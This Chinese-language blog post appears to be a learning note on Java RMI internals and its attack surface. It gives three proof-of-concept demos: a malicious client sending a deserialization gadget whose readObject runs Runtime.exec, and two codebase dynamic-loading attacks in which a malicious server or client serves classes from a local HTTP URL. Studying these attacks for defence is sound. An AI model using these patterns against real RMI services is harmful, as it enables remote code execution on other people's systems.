Java安全:Java RMI

jdlkajflkd
5 min readMay 4, 2020

--

前言

在学习Java的反序列化漏洞的文章时,发现涉及的知识点挺多的,比如经常能看到RMI、JNDI、marshalsec、ysoserial等等这样的字眼。所以这里打算写几篇Java反序列化漏洞相关的文章,记录一下自己学习的过程,也是为了知识的梳理。

RMI

RMI(Remote Method Invocation),即远程方法调用。远程方法调用是分布式编程中的一个基本思想,或者是说它是一种远程方法调用规范。实现远程方法调用的技术还有很多,如CORBA、WebService,这两种是独立于编程语言的,而RMI是专为Java环境设计的。其实远程方法调用这种机制非常常见,比如Android里的Binder,C语言实现的各种RPC框架。

RMI程序一般有客户端和服务端两个独立的部分,服务端程序创建一些远程对象,并使得这些对象的引用可访问,然后等待客户端程序去调用这些对象的方法。

Java RMI

是 Java本身对RMI规范的实现,且实现该规范所使用的通信协议是JRMP(Java Remote Message Protocol)协议。此外,还有其他RMI实现,比如WebLogic RMI,它使用的是T3协议。关于WebLogic T3协议相关的知识点,我打算后面写文章梳理WebLogic 漏洞的时候再讨论。

左图描述了一个RMI应用程序的通信过程。RMI客户端使用 RMI 注册表获取对远程对象的引用。 RMI服务器通过RMI注册中心将名称与远程对象绑定,客户端在RMI注册中心根据远程对象的名称查找该对象,并调用对象的方法。图中还显示了RMI 程序在需要时使用现有的 web服务器加载类的定义。

RMI的数据传输是基于序列化和反序列化的。关于这点,官方文档中有这样一句说明:

Arguments to or return values from remote methods can be of almost any type, including local objects, remote objects, and primitive data types. More precisely, any entity of any type can be passed to or from a remote method as long as the entity is an instance of a type that is a primitive data type, a remote object, or a serializable object, which means that it implements the interface java.io.Serializable.

远程方法调用在涉及参数的传递和执行结果的返回时,参数或者返回值可以是基本数据类型,也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,且客户端的serialVersionUID字段要与服务器端保持一致。

在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不同的。在处理远程对象时,它并没有把远程对象复制一份发给客户端,而是传递了远程对象的Stub,Stub相当于远程对象的引用或者是代理。Stub对开发者是透明的,开发者可以像调用本地方法一样,通过它去调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务器主机地址等,且实现了远程方法调用的底层网络通信的细节。RMI远程调用的逻辑如下:

从逻辑来看,数据的传输是在Client和Server端之间横向流动的,但实际上,是从Client到Stub,然后Skeleton到Server这样纵向流动的:

1、Server端监听一个端口,该端口是JVM随机选择的;

2、Client端从Stub中获取远程对象的地址和端口;

3、Client调用Stub中的方法;

4、Stub连接到Server端的端口,并提交参数;

5、Server端执行具体的方法,并将结果返回给Stub;

6、Stub再将结果返回给Client端,在Client端看来就好像是Stub在本地调用了方法一样。

那么Client端又是如何获取Stub的

假设Stub可以通过调用某个远程对象的方法去获取,但是调用远程方法又必须得先有远程对象的Stub,这就存在一个死循环。JDK是通过RMI Registry注册中心来解决该问题的。RMI Registry也是一个远程对象,默认监听在1099端口上。

使用RMI Registry 之后,RMI的调用流程如下:

从上面可看到,从客户端的角度看,服务端应用有两个端口监听,一个是 RMI Registry的1099端口(默认),另一个是Server端在监听的随机分配端口。通常只需要知道RMI Registry的端口即可,Server的端口是在Stub中。

另外,RMI Registry和Server可以在同一台主机,也可以是在不同主机上。

攻击Java RMI

下面通过几个代码实例来演示Java RMI的通信流程,以及如何攻击Java RMI。

示例1:RMI客户端为攻击者,RMI服务端为受害者。因为RMI服务端有存在反序列化漏洞的类(重写了readObject方法且存在可利用的漏洞),且可以通过RMI客户端传入该类的对象,导致RMI服务端RCE。

  • 创建远程对象接口,继承 java.rmi.Remote
package me.mole.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
  • 创建远程对象类,实现Services接口
package me.mole.javarmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class ServicesImpl extends UnicastRemoteObject implements Services {
public ServicesImpl() throws RemoteException {
}

@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
  • 用于服务端和客户端之间传输的Message类
package me.mole.javarmi;

import java.io.Serializable;

public class Message implements Serializable {
private String msg;

public Message() {
}

public String getMessage() {
System.out.println("Processing message: " + msg);
return msg;
}

public void setMessage(String msg) {
this.msg = msg;
}
}
  • 服务端中存在一个公共的VulObject类
package me.mole.javarmi;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class VulObject implements Serializable {
private static final long serialVersionUID = 7398165783113471324L;
private String param;

public void setParam(String param) {
this.param = param;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}
  • RMI客户端中的VulObject类
package me.mole.javarmi;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class VulObject extends Message implements Serializable {
private static final long serialVersionUID = 7398165783113471324L;
private String param;

public void setParam(String param) {
this.param = param;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}
  • RMI服务端,创建RMI Registry,并绑定远程对象
package me.mole.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
/**
* Java RMI 服务端
*
*
@param args
*/
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Registry registry = null;
try {
// 创建Registry
registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
registry = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
registry.bind("Services", obj);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
  • 恶意的RMI客户端
package me.mole.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
/**
* Java RMI恶意利用demo
*
*
@param args
*
@throws Exception
*/
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
VulObject malicious = new VulObject();
malicious.setParam("open /Applications/Calculator.app");
malicious.setMessage("hacked by m01e");

// 使用远程对象的引用调用对应的方法
System.out.println(services.sendMessage(malicious));
}
}

在本例中,RMIClient发送给向RMIServer传输数据,这里正常来说 services.sendMessage() 参数应该为Message对象,但由于我们知道服务端存在一个公共的VulObject类,且它具有readObject()方法,同时存在命令执行的功能。因此我们可以在RMIClient中创建一个与服务端VulObject包名和类名都相同的,同时继承Message的类。这里要注意,客户端的VulObject的serialVersionUID和服务端VulObject的要一致,否则Java RMI服务端会返回错误:

然后把该类的对象发送到服务端,使得它在服务端反序列化的过程中触发RCE:

完整的示例代码已传到 github,复现使用JDK 1.7.0_17 。

Java RMI 的动态加载类

在说后面的例子之前,得先说说Java RMI的动态加载类。动态加载类是 RMI的核心特性。如果当前的JVM实例中没有某个类的定义,RMI可以从远程URL下载该类的定义。动态加载的类文件,支持http、ftp和file协议进行托管。远程URL地址是通过 java.rmi.server.codebase 属性去设置的。

对于客户端而言,如果服务端的远程方法返回的是某些类的对象实例,而客户端并没有这些类的定义,客户就会从服务端提供的java.rmi.server.codebase URL去加载对应的类。

对于服务端而言,如果客户端传递的参数是远程方法参数类型的子类,而服务端并没有该类的定义,服务端就会从客户端提供的java.rmi.server.codebase URL去加载对应的类。

客户端与服务端两边的java.rmi.server.codebase URL是互相传递的。无论是客户端还是服务端,要远程加载类,都必须满足以下条件:

  • ① 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要开启RMI SecurityManager并且配置java.security.policy,这在后面的代码示例中可以看到。
  • ② 属性 java.rmi.server.useCodebaseOnly 的值必须为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

示例2:RMI服务端为攻击者,RMI客户端为受害者

  • 远程对象接口,继承 java.rmi.Remote
package me.mole.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
  • 恶意的远程对象实现类
package me.mole.javarmi;

import me.mole.remoteclass.ExportObject;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class ServicesImpl1 extends UnicastRemoteObject implements Services {
public ServicesImpl1() throws RemoteException {
}

@Override
public Object sendMessage(Message msg) throws RemoteException {
//这里在服务端将返回值设置为了远程对象接口Object的子类,这个ExportObject在客户端是不存在的
return new ExportObject();
}
}
  • 恶意的RMI服务端
package me.mole.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
* 恶意的RMI服务器
*/
public class RMIServer1 {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl1 obj = new ServicesImpl1();

//设置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

Registry registry = null;
try {
// 创建Registry
registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
registry = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
registry.bind("Services", obj);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
  • RMI客户端
package me.mole.javarmi;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
* 受害者RMI客户端
*/
public class RMIClient1 {
public static void main(String[] args) throws Exception {
//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy",
RMIClient1.class.getClassLoader().getResource("perm.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
Message message = new Message();
message.setMessage("hahaha");

services.sendMessage(message);
}
}

该实例模拟了RMI服务端去攻击RMI客户端的场景。但要成功利用,需要满足以下条件,可看到条件比较苛刻:

  • 1、可以控制RMI客户端去连接我们的恶意RMI服务端(这里提一下,通过JNDI注入去利用fastjson反序列化漏洞,就是通过控制使用了fastjson的后台服务去连接我们的恶意RMI服务端,从而在目标后台服务触发RCE。具体的后面的文章会再详细讨论)
  • 2、RMI客户端允许远程加载类。
  • 3、JDK版本的限制。

在示例2中,RMI客户端在连接恶意RMI服务端后,调用远程方法sendMessage(),服务端会返回一个Object类的子类对象ExportObject,客户端没有这个类,然后就会从服务端指定的 java.rmi.server.codebase URL 去加载ExportObject类,该类一被客户端加载,就会执行ExportObject类中的恶意代码。

完整的示例代码已传到 github,复现使用JDK 1.7.0_17 。

示例3:RMI客户端为攻击者,RMI服务端为受害者。

  • 远程对象接口
package me.mole.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
  • 远程对象实现类
package me.mole.javarmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class ServicesImpl extends UnicastRemoteObject implements Services {
public ServicesImpl() throws RemoteException {
}

@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
  • RMI服务
package me.mole.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
* 受害者RMI服务器
*/
public class RMIServer2 {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
Registry registry = null;
try {
//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy",
RMIServer2.class.getClassLoader().getResource("perm.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

// 创建Registry
registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
registry = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
registry.bind("Services", obj);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
  • 恶意RMI客户端
package me.mole.javarmi;

import me.mole.remoteclass.ExportObject1;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
* 恶意的RMI客户端
*/
public class RMIClient2 {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
ExportObject1 exportObject1 = new ExportObject1();
exportObject1.setMessage("hahaha");

services.sendMessage(exportObject1);
}
}

该实例模拟了RMI客户端去攻击RMI服务端的场景。但要成功利用,需要满足以下条件,可看到条件也比较苛刻:

  • 1、RMI服务端允许远程加载类。
  • 2、JDK版本的限制。

在示例3中,恶意RMI客户端,通过远程方法sendMessage,发送一个Message类的恶意子类对象ExportObject1到服务端,而RMI服务端没有这个类的定义,故而从客户端指定的 java.rmi.server.codebase URL 去加载ExportObject1类,该类一被服务端加载,就会执行ExportObject1类中的恶意代码。

完整的示例代码已传到 github,复现使用JDK 1.7.0_17 。

小结

本文是笔者在学习Java RMI过程的一个记录,梳理,主要描述了Java RMI程序的执行流程,以及Java RMI程序存在的攻击面,并给出了示例代码。可以看到,要攻击Java RMI应用程序,条件还是比较苛刻的。

参考链接:

[1]https://docs.oracle.com/javase/tutorial/rmi/overview.html

[2]https://en.wikipedia.org/wiki/Java_remote_method_invocation

[3]https://docs.oracle.com/javase/jndi/tutorial/objects/storing/remote.html

[4]https://paper.seebug.org/1091/

[5]https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html

[6]https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html

[7]https://www.cis.upenn.edu/~bcpierce/courses/629/jdkdocs/guide/rmi/spec/rmi-arch.doc.html

--

--

jdlkajflkd

A low-level hacker who focuses on vulnerability research.😝